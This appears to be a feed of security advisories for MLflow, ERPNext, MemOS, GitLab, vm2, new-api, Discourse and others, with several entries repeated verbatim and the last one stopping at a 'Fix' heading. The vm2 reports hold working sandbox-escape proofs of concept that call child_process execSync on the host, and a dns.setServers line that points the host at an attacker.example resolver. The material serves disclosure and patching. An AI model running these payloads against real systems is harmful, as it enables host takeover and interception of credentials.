MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls validatewebhookurl() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive responsestatus and responsebody. This issue is fixed in version 3.15.0.
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.111.0 and 16.22.0, limited authenticated users can cross a permission boundary in Frappe safe execution because frappe.rendertemplate is exposed without forcing restrictglobals, allowing server-side template injection and remote code execution. This issue is fixed in versions 15.111.0 and 16.22.0.
MemOS is a memory operating system for LLMs and AI agents. In deployments where authentication is enabled (AUTHENABLED=true) but the undocumented, defaultless INTERNALSERVICESECRET environment variable is unset, the isinternalrequest() check in src/memos/api/middleware/auth.py fails open: os.getenv("INTERNALSERVICESECRET") returns None and a request omitting the X-Internal-Service header also yields None, so the comparison None == None evaluates true. The request is then treated as a trusted internal principal and granted scopes: ["all"]. As a result, an unauthenticated remote attacker can reach the admin API-key management endpoints to mint API keys for any user, enumerate keys, revoke keys, and generate a master key for persistent privileged access, as well as all data endpoints.
OpnForm derives editable-submission secrets from sequential row identifiers using Hashids with an empty default salt, allowing unauthenticated attackers to compute hashes for any submission. Attackers can read other respondents' full submission data through the submission-fetch endpoint or overwrite submissions by supplying predicted hashes to the answer endpoint.
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
NodeVM builtin: [''] exposes os and dns — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in lib/builtin.js and as Category 35 / GHSA-9g8x in docs/ATTACKS.md.
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L → 9.3 (Critical)
(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because os.userInfo() returns host UID/GID/username/homedir + os.networkInterfaces() returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because dns.setServers() is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses fetch or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model NodeVM exists to mitigate.)
Summary
GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding diagnosticschannel, asynchooks, perfhooks, and v8 to DANGEROUSBUILTINS in lib/builtin.js. The fix's rationale (in the commit message and docs/ATTACKS.md Category 35) is general:
Process-wide observability builtins. Unlike most Node builtins, these expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.
Two builtins satisfying the same description were not added: os and dns. Both are reachable today under the documented builtin: [''] configuration; both expose host-process state that the vm.readonly() proxy cannot localise; and both have write APIs that mutate global host-process state from the sandbox (os.setPriority(), dns.setServers(), dns.setDefaultResultOrder()). dns.setServers() in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.
Adding os and dns to DANGEROUSBUILTINS extends the same fix to the rest of the class. The existing isDangerousBuiltin(key) family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches node:os, node:dns, and node:dns/promises once the family names are present.
Affected
- vm2 v3.11.5 (current package.json version on main) and the unreleased [3.11.4] slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al. - All NodeVM configurations that expand the builtin allowlist via '' (the documented "full builtins" pattern) and have not manually appended -os, -dns exclusions — which is the recommended config in README and the test fixtures. - Reproduced on Node v22.12.0 with HEAD 7a1f510 of the audit checkout.
Vulnerability details
[A] — Source: the '' wildcard expansion includes os and dns
lib/builtin.js:166-167:
js const BUILTINMODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s => !s.startsWith('internal/') && !s.startsWith('') && !isDangerousBuiltin(s));
isDangerousBuiltin resolves the current DANGEROUSBUILTINS set (lib/builtin.js:83-139):
js const DANGEROUSBUILTINS = new Set([ 'module', 'workerthreads', 'cluster', 'vm', 'repl', 'inspector', 'process', 'traceevents', 'wasi', // GHSA-9g8x-92q2-p28f: 'diagnosticschannel', 'asynchooks', 'perfhooks', 'v8' ]);
os and dns are absent. Under builtin: [''] they are admitted into the user-visible builtin map and loaded via the default vm.readonly(hostRequire(key)) path (lib/builtin.js:230):
js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for v8/perfhooks.
[B] — os: host-process READS the bridge cannot localise
os.userInfo() returns the host process owner (uid, gid, username, homedir, shell). os.networkInterfaces() returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. os.hostname() returns the host deployment identity. os.loadavg() / os.uptime() / os.freemem() / os.totalmem() expose host-wide telemetry.
The data source is the host kernel and the host process — the sandbox's vm.readonly() proxy cannot make these calls "sandbox-local" any more than it can for perfhooks.performance.getEntriesByType('mark'). Same class as the four builtins GHSA-9g8x added.
[C] — os: host-process WRITE via os.setPriority()
os.setPriority([pid, ]priority) invokes setpriority(2) on the host process. With pid = 0 (the default) the sandbox lowers — or, if the host has CAPSYSNICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.
Strictly worse than the read-only v8 / perfhooks family because it's a mutation of host state, not just an observation.
[D] — dns: host-process READS
dns.lookup(hostname, cb) and dns.resolve(hostname, cb) perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.
dns.getServers() reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.
[E] — dns: host-process WRITE via dns.setServers() — the strongest primitive
dns.setServers(['attacker.example:53']) replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, fs URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:
- Return 127.0.0.1 for any external hostname and steal whatever the host POSTs to it (credentials, tokens). - Return an attacker-controlled IP for registry.npmjs.org to swap dependencies on the next install. - Return arbitrary IPs for OIDC issuer hostnames to subvert authentication. - Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.
The attacker primitive is one synchronous line of sandbox code. There is no rate limit, no audit trail, no notification to the embedder. Symmetric dns.setDefaultResultOrder(order) is a second process-wide write knob that lets the sandbox flip 'ipv4first' ↔ 'verbatim', mainly useful as a chaining helper.
dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUSBUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.
Proof of concept
test-poc.js (run from the vm2 checkout root):
js const {NodeVM} = require('./');
// --- [B] / [C] — os reads + write --- { const vm = new NodeVM({ require: { external: true, builtin: [''] } }); const r = vm.run( const os = require('os'); const before = os.getPriority(); os.setPriority(10); // mutates host process nice value module.exports = { userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host hostname: os.hostname(), networkInterfaces: Object.keys(os.networkInterfaces()), uptime: os.uptime(), priorityBefore: before, priorityAfter: os.getPriority() }; , 'os.js'); console.log(JSON.stringify(r, null, 2)); // Independently verify the host process now reports the bumped priority: console.log('host getPriority() =', require('os').getPriority()); }
// --- [E] — dns.setServers hijack --- { const dnsHost = require('dns'); console.log('host DNS before:', dnsHost.getServers());
const vm = new NodeVM({ require: { external: true, builtin: [''] } }); vm.run( require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']); , 'dns.js');
console.log('host DNS after:', dnsHost.getServers()); // Every subsequent dns.lookup() in the host process now hits the attacker. }
Observed output on Node v22.12.0 against HEAD 7a1f510:
{ "userInfo": { "uid": 0, "gid": 0, "username": "root", "homedir": "/root", "shell": "/bin/bash" }, "hostname": "Debian-trixie-latest-amd64-base", "networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2", "vethd3955b5", ..., "veth3" ], "uptime": 6093038.92, "priorityBefore": 0, "priorityAfter": 10 } host getPriority() = 10 ← host realm sees the sandbox write
host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1', '185.12.64.1', '2a01:4ff:ff00::add:2' ] host DNS after: [ '127.0.0.1:5353', '8.8.4.4' ] ← hijacked
Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the vm.run() call returns — confirming the writes persisted past the bridge boundary.
Impact
Direct
- Host identity disclosure (os) — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes. - Network topology disclosure (os.networkInterfaces) — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants. - Process-wide DNS hijack (dns.setServers) — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch. - Process priority mutation (os.setPriority) — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAPSYSNICE) for priority squatting against co-tenant processes.
Indirect / second-order
- Composes with dgram / http / fetch whitelisting — embedders who grant the sandbox network access via the external flag or a documented -os, -dns cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the host, so even host-realm outbound HTTP gets redirected. - Composes with future host-realm-string introductions — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects. - Defeats GHSA-9g8x's own threat model — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving os and dns open leaves the class half-closed; the read-side leak path that the commit enumerates for diagnosticschannel ("attacker reads host HTTP requests through a subscriber") composes with dns.setServers to also redirect those requests. - Same fix is forward-compatible with future Node releases — adding os and dns to DANGEROUSBUILTINS does not require enumerating every future Node API; the family-prefix matcher (isDangerousBuiltin) already covers any new os/... or dns/... subpath Node introduces.
Suggested fix
Single-line extension of DANGEROUSBUILTINS in lib/builtin.js:83-139, alongside the four GHSA-9g8x additions, with the same // SECURITY (GHSA-...) block comment style and rationale:
js const DANGEROUSBUILTINS = new Set([ 'module', 'workerthreads', 'cluster', 'vm', 'repl', 'inspector', 'process', 'traceevents', 'wasi', 'diagnosticschannel', 'asynchooks', 'perfhooks', 'v8', // SECURITY (this advisory): Process-wide observability + WRITE builtins. // os.userInfo() / os.networkInterfaces() leak host process identity and // network topology in the same class as the GHSA-9g8x readers. os.setPriority(), // dns.setServers(), and dns.setDefaultResultOrder() are write primitives // that mutate host-process state from the sandbox — dns.setServers() is a // process-wide DNS resolver hijack reachable in one line of sandbox code. // Embedders who genuinely need a sandbox-local replacement can register a // controlled wrapper under the same name via mock / override. 'os', 'dns' ]);
The existing isDangerousBuiltin(key) family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to node:os, node:dns, and node:dns/promises without further changes. Embedders who genuinely need a sandbox-local os/dns (typically os.platform(), os.EOL, os.constants) can register a hand-written safe wrapper under those names via mock / override, mirroring the escape hatch documented for the GHSA-9g8x denials.
Tests should mirror the test/ghsa/GHSA-9g8x-92q2-p28f/repro.js shape: bare-name + node:-prefixed denial on require(), '' wildcard expansion exclusion, explicit-allowlist (builtin: ['os'], builtin: ['dns']) rejection, makeBuiltins(['os']) rejection, mock / override escape-hatch acceptance.
docs/ATTACKS.md Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }
f(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }
f(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked }
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
- lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling) - lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause - docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
javascript const { VM } = require('vm2');
const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } });
const result = vm.run( try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('childprocess').execSync('id').toString(); } );
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { / best effort / }
let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; }
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role | |------|------| | pocerrorcauseescape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | pocerrorcauseescape.js
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked }
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
- lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling) - lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause - docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
javascript const { VM } = require('vm2');
const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } });
const result = vm.run( try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('childprocess').execSync('id').toString(); } );
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { / best effort / }
let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; }
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role | |------|------| | pocerrorcauseescape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | pocerrorcauseescape.js
Joomla Extension - regularlabs.com - Unauthenticated RCE through unverified reflected user input in Sourcerer < 14.0.0 - Regular Labs Sourcerer before 14.0.0 processes {source} blocks found in Joomla’s final rendered HTML without reliably determining where that code originated.
Joomla Extension - joomlack.fr - SQL injection in Page Builder CK < 3.6.5 - The Joomla extension Page Builder CK is vulnerable to a SQL injection issue related to the styles model. Version 3.6.4 fixed the vector in the frontend, 3.6.5 in the backend.
Summary
Multiple billing paths multiplied user-controlled quantity parameters into the quota calculation without an upper bound or overflow-safe integer conversion. A crafted extreme value (e.g. image n = 18446744073686646784, a wrapped-negative accepted by a uint field) makes conversions like int(float64(quota) n) wrap past the int64/int32 range into a large negative quota. The negative quota takes effect at settlement (not at pre-consume), where it is equivalent to crediting the user's balance — turning a small positive balance into an enormous one.
Timeline(UTC+8)
This vulnerability was confirmed exploited in the wild. Response timeline (UTC+8):
- 2026-07-06 23:00 — Community user @lihui12388 reported that their deployment had been exploited via this vulnerability (large negative consumption entries in logs and abnormally inflated balances). We confirmed in-the-wild exploitation and started an emergency response immediately. - 2026-07-07 01:17 — Emergency fix released as v1.0.0-rc.18, roughly 2 hours after the report. - 2026-07-07 (next day) — Given the confirmed active exploitation, we publicly disclosed the vulnerability and the fixed version to the community the following day so that all operators could upgrade and audit promptly. - 2026-07-07 13:19 — v1.0.0-rc.19 released with additional observability (quota-saturation warning logs) to help operators audit and monitor abuse.
Preconditions
This is not a zero-balance freebie. The attacker must hold an account whose wallet balance is > 0 and at least covers the request's normal (un-inflated) pre-consume amount — the pre-consume gate rejects userQuota <= 0 and insufficient balance with HTTP 403. Quantity multipliers (n, duration, ...) are not applied at pre-consume; the overflow only manifests at settlement, flipping the charge negative and crediting the balance.
Severity escalates when the deployment enables any feature that grants free starting balance, because the required positive balance is then obtained at zero cost and at scale: check-in rewards (CheckinSetting.Enabled), invite rebates (QuotaForInviter / QuotaForInvitee), or new-user quota gifts (QuotaForNewUser). With self-registration on by default and any of these enabled, an attacker can register (or mass-register) to obtain seed balance for free, then inflate it via a single crafted request — effectively unauthenticated exploitation.
Impact
A low-privilege user with a positive balance can massively inflate their own balance with a single crafted request (negative settlement = credit), violating billing integrity. Sustained abuse can drain the operator's prepaid upstream funds and render billing/service unavailable. Exploitation in the wild has been confirmed (see Timeline above).
Root cause
Single root cause: user-controlled multipliers lacked upper-bound validation before entering quota math, and the float/decimal-to-int conversions lacked saturation. Because uint accepts huge positive values (a wrapped negative), a >= 0 check is insufficient — an explicit upper bound is required.
Fix
Fixed via defense-in-depth: (1) upper-bound validation at request ingress (400 on violation), (2) local clamping of the same quantities on validation-bypass paths (passthrough/metadata/multipart), and (3) centralized saturating conversions in common/quotamath.go that clamp to int32 and never wrap. Saturation events are additionally audited on the related consume/task log under admininfo.quotasaturation (admin-only) and via request-correlated backend warnings.
Vulnerability Information
- Product: new-api - Affected versions: versions before v1.0.0-rc.7 that serialize User.AccessToken as accesstoken; the issue was confirmed in v0.12.14 - Patched version: v1.0.0-rc.7 - Fixed commit: 0936e2504655a5cbf7bc3c388f6d3e2bb24916d3 - Type: Information Disclosure / Privilege Escalation
Description
In affected versions of new-api, the admin user list and user lookup APIs can return the accesstoken field for users, including the root user. An authenticated admin user can call endpoints such as GET /api/user/ to retrieve user records. Because access tokens function as bearer credentials for API authentication, leaking the root user's access token allows an admin user to authenticate as root and access root-only endpoints such as system configuration APIs.
This bypasses the intended role boundary between admin users and the root user and can result in privilege escalation to full system control.
Root Cause
The User.AccessToken field was serialized as json:"accesstoken" in affected versions. User management APIs returned User model objects directly after omitting only the password field from database queries, so JSON serialization could include accesstoken in API responses.
Affected code patterns include user list, user search, and user detail paths that use Omit("password") without preventing accesstoken from being serialized.
Impact
- An authenticated admin user may obtain the root user's access token. - The attacker may impersonate the root user and access root-only APIs. - The attacker may modify system settings, payment settings, OAuth/SMTP-related configuration, and other sensitive platform options. - Access tokens for other users may also be exposed, enabling user impersonation.
Remediation
Upgrade to v1.0.0-rc.7 or later. The fix changes User.AccessToken to use json:"-", preventing the field from being serialized in API responses.
Operators should also rotate any root or user access tokens that may have been exposed before upgrading, especially if untrusted admin users had access to user management APIs.
In JetBrains YouTrack before 2025.3.156085, 2026.1.13913, 2026.2.18112 an unauthenticated attacker could download database backups via shared draft signature
Vulnerability Information
- Product: new-api - Affected versions: versions before v1.0.0-rc.7 that serialize User.AccessToken as accesstoken; the issue was confirmed in v0.12.14 - Patched version: v1.0.0-rc.7 - Fixed commit: 0936e2504655a5cbf7bc3c388f6d3e2bb24916d3 - Type: Information Disclosure / Privilege Escalation
Description
In affected versions of new-api, the admin user list and user lookup APIs can return the accesstoken field for users, including the root user. An authenticated admin user can call endpoints such as GET /api/user/ to retrieve user records. Because access tokens function as bearer credentials for API authentication, leaking the root user's access token allows an admin user to authenticate as root and access root-only endpoints such as system configuration APIs.
This bypasses the intended role boundary between admin users and the root user and can result in privilege escalation to full system control.
Root Cause
The User.AccessToken field was serialized as json:"accesstoken" in affected versions. User management APIs returned User model objects directly after omitting only the password field from database queries, so JSON serialization could include accesstoken in API responses.
Affected code patterns include user list, user search, and user detail paths that use Omit("password") without preventing accesstoken from being serialized.
Impact
- An authenticated admin user may obtain the root user's access token. - The attacker may impersonate the root user and access root-only APIs. - The attacker may modify system settings, payment settings, OAuth/SMTP-related configuration, and other sensitive platform options. - Access tokens for other users may also be exposed, enabling user impersonation.
Remediation
Upgrade to v1.0.0-rc.7 or later. The fix changes User.AccessToken to use json:"-", preventing the field from being serialized in API responses.
Operators should also rotate any root or user access tokens that may have been exposed before upgrading, especially if untrusted admin users had access to user management APIs.
Discourse is an open-source discussion platform. Prior to 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0, an unauthenticated attacker could send a single request with a crafted colorschemeid (or darkschemeid) cookie to inject arbitrary HTML into a Discourse page. Because the cookie value was rendered into a color scheme tag without escaping, the attacker could break out of the attribute and inject a tag that bypassed Discourse's nonce-based Content Security Policy, resulting in arbitrary JavaScript execution in visitors' browsers. This issue is fixed in versions 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0.
Summary
Multiple billing paths multiplied user-controlled quantity parameters into the quota calculation without an upper bound or overflow-safe integer conversion. A crafted extreme value (e.g. image n = 18446744073686646784, a wrapped-negative accepted by a uint field) makes conversions like int(float64(quota) n) wrap past the int64/int32 range into a large negative quota. The negative quota takes effect at settlement (not at pre-consume), where it is equivalent to crediting the user's balance — turning a small positive balance into an enormous one.
Timeline(UTC+8)
This vulnerability was confirmed exploited in the wild. Response timeline (UTC+8):
- 2026-07-06 23:00 — Community user @lihui12388 reported that their deployment had been exploited via this vulnerability (large negative consumption entries in logs and abnormally inflated balances). We confirmed in-the-wild exploitation and started an emergency response immediately. - 2026-07-07 01:17 — Emergency fix released as v1.0.0-rc.18, roughly 2 hours after the report. - 2026-07-07 (next day) — Given the confirmed active exploitation, we publicly disclosed the vulnerability and the fixed version to the community the following day so that all operators could upgrade and audit promptly. - 2026-07-07 13:19 — v1.0.0-rc.19 released with additional observability (quota-saturation warning logs) to help operators audit and monitor abuse.
Preconditions
This is not a zero-balance freebie. The attacker must hold an account whose wallet balance is > 0 and at least covers the request's normal (un-inflated) pre-consume amount — the pre-consume gate rejects userQuota <= 0 and insufficient balance with HTTP 403. Quantity multipliers (n, duration, ...) are not applied at pre-consume; the overflow only manifests at settlement, flipping the charge negative and crediting the balance.
Severity escalates when the deployment enables any feature that grants free starting balance, because the required positive balance is then obtained at zero cost and at scale: check-in rewards (CheckinSetting.Enabled), invite rebates (QuotaForInviter / QuotaForInvitee), or new-user quota gifts (QuotaForNewUser). With self-registration on by default and any of these enabled, an attacker can register (or mass-register) to obtain seed balance for free, then inflate it via a single crafted request — effectively unauthenticated exploitation.
Impact
A low-privilege user with a positive balance can massively inflate their own balance with a single crafted request (negative settlement = credit), violating billing integrity. Sustained abuse can drain the operator's prepaid upstream funds and render billing/service unavailable. Exploitation in the wild has been confirmed (see Timeline above).
Root cause
Single root cause: user-controlled multipliers lacked upper-bound validation before entering quota math, and the float/decimal-to-int conversions lacked saturation. Because uint accepts huge positive values (a wrapped negative), a >= 0 check is insufficient — an explicit upper bound is required.
Fix
